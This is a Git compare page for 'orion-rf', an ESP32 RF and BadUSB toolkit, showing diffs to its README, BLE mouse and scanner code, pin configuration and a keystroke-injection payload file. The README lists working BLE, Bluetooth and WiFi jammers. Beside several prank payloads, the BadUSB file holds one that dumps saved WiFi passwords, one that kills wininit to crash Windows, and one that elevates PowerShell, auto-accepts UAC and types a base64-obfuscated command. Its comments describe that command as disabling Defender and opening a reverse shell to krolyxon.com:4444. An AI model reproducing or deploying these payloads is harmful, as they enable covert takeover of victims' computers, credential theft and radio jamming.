krolyxon
/
orion-rf
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Compare commits

base: krolyxon:206ed229198be252a9ae94342b39618aaab55925
Branches Tags
krolyxon:master
..
compare: krolyxon:0b8b30d25d9e374cb8814aa652d52d5b74d5171a
Branches Tags
krolyxon:master

No commits in common. "206ed229198be252a9ae94342b39618aaab55925" and "0b8b30d25d9e374cb8814aa652d52d5b74d5171a" have entirely different histories.
206ed22919 ... 0b8b30d25d

16 changed files with 1837 additions and 1598 deletions
Show Stats Expand all files Collapse all files

9
README.md
View File

@ -27,11 +27,8 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
## Hardware ## Hardware
- ESP32-S3 N16R8 - ESP32-S3 N16R8
- 2x NRF24L01 Module - 2x NRF24L01
- 2x CC1101 Module - 2x CC1101
- PN532 NFC Module
- MicroSD card Module
- TP4056 Charging Module
- OLED display - OLED display
- Battery-powered portable setup - Battery-powered portable setup
@ -46,7 +43,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
| BLE Mouse | Working | | BLE Mouse | Working |
| BLE Jammer | Working | | BLE Jammer | Working |
| Bluetooth Jammer | Working | | Bluetooth Jammer | Working |
| WiFi Jammer | Working | | WiFi Jammer | Experimental |
| RF Capture | WIP | | RF Capture | WIP |
| RF Replay | WIP | | RF Replay | WIP |
| SD Card Support | Planned | | SD Card Support | Planned |

115
src/bluetooth/ble_mouse.cpp
View File

@ -1,7 +1,7 @@
#include "../config.h"
#include "../hid/badusb.h"
#include <Arduino.h> #include <Arduino.h>
#include <BleMouse.h> #include <BleMouse.h>
#include "../hid/badusb.h"
#include "../config.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
@ -11,63 +11,64 @@
extern BleMouse bleMouse; extern BleMouse bleMouse;
// ===== MAIN ===== // ===== MAIN =====
void ble_mouse_run() { void ble_mouse_run()
u8g2.clearBuffer(); {
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse");
u8g2.drawStr(10, 45, "Connecting...");
u8g2.sendBuffer();
delay(800);
while (1) {
// 🔥 EXIT FIRST (clean)
if (btnBack())
break;
bool connected = bleMouse.isConnected();
int dx = 0;
int dy = 0;
if (connected) {
if (!digitalRead(BTN_UP))
dy = -6;
if (!digitalRead(BTN_DOWN))
dy = 6;
if (!digitalRead(BTN_LEFT))
dx = -6;
if (!digitalRead(BTN_RIGHT))
dx = 6;
if (dx || dy)
bleMouse.move(dx, dy);
// ✅ single click (not spam)
static bool lastSelect = false;
bool currentSelect = !digitalRead(BTN_SELECT);
if (currentSelect && !lastSelect)
bleMouse.click(MOUSE_LEFT);
lastSelect = currentSelect;
}
// ===== UI =====
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse");
u8g2.drawStr(10, 20, "BLE Mouse"); u8g2.drawStr(10, 45, "Connecting...");
if (connected)
u8g2.drawStr(10, 35, "Connected");
else
u8g2.drawStr(10, 35, "Waiting");
u8g2.drawStr(10, 55, "BACK = Exit");
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(10); // important for BLE stability delay(800);
}
while (1)
{
// 🔥 EXIT FIRST (clean)
if (btnBack()) break;
bool connected = bleMouse.isConnected();
int dx = 0;
int dy = 0;
if (connected)
{
if (!digitalRead(BTN_UP)) dy = -6;
if (!digitalRead(BTN_DOWN)) dy = 6;
if (!digitalRead(BTN_LEFT)) dx = -6;
if (!digitalRead(BTN_RIGHT)) dx = 6;
if (dx || dy)
bleMouse.move(dx, dy);
// ✅ single click (not spam)
static bool lastSelect = false;
bool currentSelect = !digitalRead(BTN_SELECT);
if (currentSelect && !lastSelect)
bleMouse.click(MOUSE_LEFT);
lastSelect = currentSelect;
}
// ===== UI =====
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 20, "BLE Mouse");
if (connected)
u8g2.drawStr(10, 35, "Connected");
else
u8g2.drawStr(10, 35, "Waiting");
u8g2.drawStr(10, 55, "BACK = Exit");
u8g2.sendBuffer();
delay(10); // important for BLE stability
}
} }

301
src/bluetooth/blescanner.cpp
View File

@ -1,20 +1,20 @@
#include <Arduino.h> #include <Arduino.h>
#include <BLEAdvertisedDevice.h>
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include <BLEAdvertisedDevice.h>
#include <vector> #include <vector>
#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h"
// ===== DEVICE STRUCT ===== // ===== DEVICE STRUCT =====
struct BLEDeviceInfo { struct BLEDeviceInfo {
String name; String name;
String address; String address;
int rssi; int rssi;
String manufacturer; String manufacturer;
String deviceType; String deviceType;
}; };
static std::vector<BLEDeviceInfo> devices; static std::vector<BLEDeviceInfo> devices;
@ -23,168 +23,187 @@ static int selectedIndex = 0;
// ===== CALLBACK ===== // ===== CALLBACK =====
class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
void onResult(BLEAdvertisedDevice advertisedDevice) override { void onResult(BLEAdvertisedDevice advertisedDevice) override {
BLEDeviceInfo dev; BLEDeviceInfo dev;
String tempName = advertisedDevice.getName().c_str(); String tempName = advertisedDevice.getName().c_str();
if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
tempName = advertisedDevice.getServiceData().c_str(); tempName = advertisedDevice.getServiceData().c_str();
}
if (tempName.length() == 0) {
String addr = advertisedDevice.getAddress().toString().c_str();
tempName = "BLE_" + addr.substring(addr.length() - 5);
}
dev.name = tempName;
dev.address = advertisedDevice.getAddress().toString().c_str();
dev.rssi = advertisedDevice.getRSSI();
if (advertisedDevice.haveManufacturerData()) {
String mData = advertisedDevice.getManufacturerData().c_str();
if (mData.length() >= 2) {
char buffer[10];
sprintf(buffer, "0x%02X%02X",
(uint8_t)mData[1],
(uint8_t)mData[0]);
dev.manufacturer = String(buffer);
} else {
dev.manufacturer = "unknown";
}
} else {
dev.manufacturer = "unknown";
}
if (advertisedDevice.haveServiceUUID()) {
dev.deviceType =
advertisedDevice.getServiceUUID().toString().c_str();
} else {
dev.deviceType = "unknown";
}
devices.push_back(dev);
} }
if (tempName.length() == 0) {
String addr = advertisedDevice.getAddress().toString().c_str();
tempName = "BLE_" + addr.substring(addr.length() - 5);
}
dev.name = tempName;
dev.address = advertisedDevice.getAddress().toString().c_str();
dev.rssi = advertisedDevice.getRSSI();
if (advertisedDevice.haveManufacturerData()) {
String mData = advertisedDevice.getManufacturerData().c_str();
if (mData.length() >= 2) {
char buffer[10];
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
dev.manufacturer = String(buffer);
} else {
dev.manufacturer = "unknown";
}
} else {
dev.manufacturer = "unknown";
}
if (advertisedDevice.haveServiceUUID()) {
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
} else {
dev.deviceType = "unknown";
}
devices.push_back(dev);
}
}; };
// ===== DRAW MENU ===== // ===== DRAW MENU =====
void ble_drawMenu() { void ble_drawMenu()
u8g2.clearBuffer(); {
u8g2.clearBuffer();
if (devices.empty()) { if (devices.empty())
u8g2.setFont(u8g2_font_6x12_tr); {
u8g2.drawStr(0, 30, "No devices"); u8g2.setFont(u8g2_font_6x12_tr);
u8g2.drawStr(0, 45, "Press BACK"); u8g2.drawStr(0, 30, "No devices");
} else { u8g2.drawStr(0, 45, "Press BACK");
u8g2.setFont(u8g2_font_5x8_tr);
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) {
int idx = selectedIndex + i;
if (idx >= devices.size())
break;
int y = 22 + i * 14;
if (i == 0) {
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = devices[idx].name;
if (text.length() > 12)
text = text.substring(0, 12) + "..";
text += " (" + String(devices[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
} }
} else
{
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.sendBuffer(); char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i;
if (idx >= devices.size()) break;
int y = 22 + i * 14;
if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = devices[idx].name;
if (text.length() > 12)
text = text.substring(0, 12) + "..";
text += " (" + String(devices[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
}
u8g2.sendBuffer();
} }
// ===== DEVICE DETAILS ===== // ===== DEVICE DETAILS =====
void ble_drawDetails(const BLEDeviceInfo &dev) { void ble_drawDetails(const BLEDeviceInfo &dev)
u8g2.clearBuffer(); {
u8g2.setFont(u8g2_font_5x8_tr); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, dev.name.c_str()); u8g2.drawStr(0, 10, dev.name.c_str());
u8g2.drawStr(0, 20, dev.address.c_str()); u8g2.drawStr(0, 20, dev.address.c_str());
char rssiStr[20]; char rssiStr[20];
sprintf(rssiStr, "RSSI: %d", dev.rssi); sprintf(rssiStr, "RSSI: %d", dev.rssi);
u8g2.drawStr(0, 30, rssiStr); u8g2.drawStr(0, 30, rssiStr);
u8g2.drawStr(0, 40, dev.manufacturer.c_str()); u8g2.drawStr(0, 40, dev.manufacturer.c_str());
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ===== SCAN ===== // ===== SCAN =====
void ble_scan() { void ble_scan()
devices.clear(); {
devices.clear();
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning..."); u8g2.drawStr(10, 30, "Scanning...");
u8g2.sendBuffer(); u8g2.sendBuffer();
BLEDevice::init(""); BLEDevice::init("");
pBLEScan = BLEDevice::getScan(); pBLEScan = BLEDevice::getScan();
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false);
false); pBLEScan->setActiveScan(true);
pBLEScan->setActiveScan(true); pBLEScan->setInterval(100);
pBLEScan->setInterval(100); pBLEScan->setWindow(99);
pBLEScan->setWindow(99);
pBLEScan->start(5, false); pBLEScan->start(5, false);
// remove duplicates // remove duplicates
std::vector<BLEDeviceInfo> unique; std::vector<BLEDeviceInfo> unique;
for (auto &d : devices) { for (auto &d : devices)
bool exists = false; {
for (auto &u : unique) { bool exists = false;
if (u.address == d.address) { for (auto &u : unique)
exists = true; {
break; if (u.address == d.address)
} {
exists = true;
break;
}
}
if (!exists) unique.push_back(d);
} }
if (!exists)
unique.push_back(d);
}
devices = unique; devices = unique;
} }
// ===== MAIN LOOP ===== // ===== MAIN LOOP =====
void ble_loop() { void ble_loop()
static uint32_t lastPress = 0; {
static uint32_t lastPress = 0;
if (millis() - lastPress < 200) if (millis() - lastPress < 200)
return; return;
if (btnDown() && selectedIndex < (int)devices.size() - 1) { if (btnDown() && selectedIndex < (int)devices.size() - 1)
selectedIndex++; {
ble_drawMenu(); selectedIndex++;
lastPress = millis(); ble_drawMenu();
} else if (btnUp() && selectedIndex > 0) { lastPress = millis();
selectedIndex--; }
ble_drawMenu(); else if (btnUp() && selectedIndex > 0)
lastPress = millis(); {
} else if (btnSelect() && !devices.empty()) { selectedIndex--;
ble_drawDetails(devices[selectedIndex]); ble_drawMenu();
delay(3000); lastPress = millis();
ble_drawMenu(); }
lastPress = millis(); else if (btnSelect() && !devices.empty())
} else if (btnBack()) { {
lastPress = millis(); ble_drawDetails(devices[selectedIndex]);
return; delay(3000);
} ble_drawMenu();
lastPress = millis();
}
else if (btnBack())
{
lastPress = millis();
return;
}
} }

22
src/config.h
View File

@ -18,19 +18,24 @@
/////////////////cc1101 vars////////////// /////////////////cc1101 vars//////////////
// CC1101 via FSPI // CC1101 via FSPI
#define cc1101_SCK 15 #define cc1101_SCK 15
#define cc1101_MISO 41 #define cc1101_MISO 3
#define cc1101_MOSI 35 #define cc1101_MOSI 35
//////////////cc1101(1)////////// //////////////cc1101(1)//////////
#define CC1101_CS 40 #define CC1101_CS 45
#define CC1101_GDO0 39 #define CC1101_GDO0 21
#define CC1101_GDO2 42 #define CC1101_GDO2 47
/////////////cc1101(2)//////////
#define CC1101_2_CS 40
#define CC1101_2_GDO0 41
#define CC1101_2_GDO2 42
// SD Card via HSPI // SD Card via HSPI
//#define SD_SCK 14 #define SD_SCK 14
//#define SD_MISO 39 #define SD_MISO 39
//#define SD_MOSI 38 #define SD_MOSI 38
//#define SD_CS 37 #define SD_CS 37
// =================== Buttons ==================== // =================== Buttons ====================
@ -40,3 +45,4 @@
#define BTN_BACK 7 #define BTN_BACK 7
#define BTN_LEFT 1 #define BTN_LEFT 1
#define BTN_RIGHT 2 #define BTN_RIGHT 2

500
src/hid/badusb.cpp
View File

@ -1,6 +1,6 @@
#include "../ui/display.h"
#include <Arduino.h> #include <Arduino.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "../ui/display.h"
extern USBHIDKeyboard Keyboard; extern USBHIDKeyboard Keyboard;
@ -56,366 +56,332 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
} }
} }
void typeSlow(const char *text, int delayMs = 25) { void typeSlow(const char *text, int delayMs = 25)
while (*text) { {
Keyboard.print(*text); while (*text)
delay(delayMs); {
text++; Keyboard.print(*text);
} delay(delayMs);
text++;
}
} }
void badUSBMenu(int index) { void badUSBMenu(int index) {
// switch (index) //switch (index)
// { // {
// case 0: // case 0:
// runBadUSBDemo(); // runBadUSBDemo();
// break; // break;
// case 1: // case 1:
// Serial.println("Open CMD payload"); // Serial.println("Open CMD payload");
// runBadUSBOpenCMD(); // runBadUSBOpenCMD();
// break; // break;
// case 2: // case 2:
// Serial.println("Rickroll payload"); // Serial.println("Rickroll payload");
// runBadUSBRickroll(); // runBadUSBRickroll();
// break; // break;
// } // }
switch (index) {
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
runCommand("notepad"); switch(index)
{
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
delay(2500); runCommand("notepad");
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); delay(2500);
Keyboard.write(KEY_RETURN);
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN); typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
Keyboard.write(KEY_RETURN);
typeSlow("[+] WIFI MODULE READY"); Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
typeSlow("[+] BLE MODULE READY"); typeSlow("[+] WIFI MODULE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[+] SUBGHZ MODULE READY"); typeSlow("[+] BLE MODULE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[+] NFC MODULE READY"); typeSlow("[+] SUBGHZ MODULE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[+] HID ENGINE READY"); typeSlow("[+] NFC MODULE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; typeSlow("[+] HID ENGINE READY");
Keyboard.write(KEY_RETURN);
// ================= RICKROLL ================= break;
case 1:
showRunningScreen("RickRoll");
runCommand("cmd"); // ================= RICKROLL =================
case 1:
showRunningScreen("RickRoll");
delay(700); runCommand("cmd");
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); delay(700);
Keyboard.write(KEY_RETURN);
break; typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
// ================= MATRIX ================= break;
case 2:
showRunningScreen("Matrix");
runCommand("cmd"); // ================= MATRIX =================
case 2:
showRunningScreen("Matrix");
delay(700); runCommand("cmd");
typeSlow("color 0A"); delay(700);
Keyboard.write(KEY_RETURN);
typeSlow("mode con: cols=120 lines=40"); typeSlow("color 0A");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow(":A"); typeSlow("mode con: cols=120 lines=40");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo %random%%random%%random%%random%%random%"); typeSlow(":A");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("goto A"); typeSlow("echo %random%%random%%random%%random%%random%");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; typeSlow("goto A");
Keyboard.write(KEY_RETURN);
// ================= FAKE TERMINAL ================= break;
case 3:
showRunningScreen("Fake Terminal");
runCommand("cmd"); // ================= FAKE TERMINAL =================
case 3:
showRunningScreen("Fake Terminal");
delay(700); runCommand("cmd");
typeSlow("color 0A"); delay(700);
Keyboard.write(KEY_RETURN);
typeSlow("cls"); typeSlow("color 0A");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo CONNECTING TO TARGET..."); typeSlow("cls");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo BYPASSING FIREWALL..."); typeSlow("echo CONNECTING TO TARGET...");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo ACCESS GRANTED"); typeSlow("echo BYPASSING FIREWALL...");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("systeminfo"); typeSlow("echo ACCESS GRANTED");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; typeSlow("systeminfo");
Keyboard.write(KEY_RETURN);
break;
// ================= WIFI CRACK ================= // ================= WIFI CRACK =================
// ================= WIFI PASSWORD RECOVERY ================= // ================= WIFI PASSWORD RECOVERY =================
case 4: case 4:
showRunningScreen("WiFi Recovery"); showRunningScreen("WiFi Recovery");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
// Styling the window // Styling the window
typeSlow("color 0A && mode con: cols=100 lines=30"); typeSlow("color 0A && mode con: cols=100 lines=30");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(200); delay(200);
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(500); delay(500);
// The "Magic" Command: // The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in // This lists all profiles and shows the 'Key Content' (the password) in clear text.
// clear text. We use a 'for' loop to automate this for every network the PC // We use a 'for' loop to automate this for every network the PC has ever joined.
// has ever joined. typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
typeSlow(
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
// Optional: Keep the window open to read the results // Optional: Keep the window open to read the results
typeSlow("echo. && echo [COMPLETE] Passwords listed above."); typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= FAKE UPDATE ================= // ================= FAKE UPDATE =================
case 5: case 5:
showRunningScreen("Fake Update"); showRunningScreen("Fake Update");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
typeSlow("start https://fakeupdate.net/win10u/"); typeSlow("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= FAKE BSOD ================= // ================= FAKE BSOD =================
case 6: case 6:
showRunningScreen("Critical Error"); showRunningScreen("Critical Error");
runCommand("powershell -c \"stop-process -name wininit -force\""); runCommand("powershell -c \"stop-process -name wininit -force\"");
break; break;
// ================= GLITCH SCREEN ================= // ================= GLITCH SCREEN =================
case 7: case 7:
showRunningScreen("Glitch"); showRunningScreen("Glitch");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
for (int i = 0; i < 20; i++) { for(int i = 0; i < 20; i++)
typeSlow("color 4F"); {
Keyboard.write(KEY_RETURN); typeSlow("color 4F");
Keyboard.write(KEY_RETURN);
typeSlow("color 1F"); typeSlow("color 1F");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("cls"); typeSlow("cls");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
} }
break; break;
// ================= ASCII SPAM ================= // ================= ASCII SPAM =================
case 8: case 8:
showRunningScreen("ASCII"); showRunningScreen("ASCII");
runCommand("notepad"); runCommand("notepad");
delay(2000); delay(2000);
for (int i = 0; i < 15; i++) { for(int i = 0; i < 15; i++)
typeSlow("######### ORION-RF #########"); {
Keyboard.write(KEY_RETURN); typeSlow("######### ORION-RF #########");
Keyboard.write(KEY_RETURN);
typeSlow(">>> SIGNAL ACQUIRED <<<"); typeSlow(">>> SIGNAL ACQUIRED <<<");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[|||||||||||||||||||||||||]"); typeSlow("[|||||||||||||||||||||||||]");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
} }
break; break;
// ================= HACKER TYPER ================= // ================= HACKER TYPER =================
case 9: case 9:
showRunningScreen("Hacker Typer"); showRunningScreen("Hacker Typer");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
typeSlow("start https://hackertyper.net/"); typeSlow("start https://hackertyper.net/");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= POWERSHELL REVERSE SHELL ================= // ================= POWERSHELL REVERSE SHELL =================
// ================= DEFENDER BYPASS + NC ================= // ================= DEFENDER BYPASS + NC =================
case 10: case 10:
showRunningScreen("Pwn Mode v2"); showRunningScreen("Pwn Mode v2");
// 1. Open Admin PowerShell // 1. Open Admin PowerShell
Keyboard.press(KEY_LEFT_GUI); Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r'); Keyboard.press('r');
delay(150); delay(150);
Keyboard.releaseAll(); Keyboard.releaseAll();
delay(500); delay(500);
// Open Admin Prompt - using 'powershell' directly to save space // Open Admin Prompt - using 'powershell' directly to save space
typeSlow("powershell Start-Process powershell -Verb runAs"); typeSlow("powershell Start-Process powershell -Verb runAs");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(2500); // Wait for UAC delay(2500); // Wait for UAC
// 2. Bypass UAC (Left Arrow + Enter) // 2. Bypass UAC (Left Arrow + Enter)
Keyboard.write(KEY_LEFT_ARROW); Keyboard.write(KEY_LEFT_ARROW);
delay(200); delay(200);
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(3000); // Give the Admin window time to load delay(3000); // Give the Admin window time to load
// 3. AMSI Bypass + Disable Defender + Execute Shell // 3. AMSI Bypass + Disable Defender + Execute Shell
// We use -EncodedCommand to hide the script from simple string scanners. // We use -EncodedCommand to hide the script from simple string scanners.
// The Base64 string below contains: // The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden " typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
"-EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444 // This is the encoded payload for krolyxon.com:4444
typeSlow( typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
"JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG" "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0" "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
"AHIAaQBuAGcAKAAiAEgA" "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb" "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI" "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
"AbwBsAHkAeABvAG4A" "kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG" "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5" "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
"AHQAZQBzACAAPQA" "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
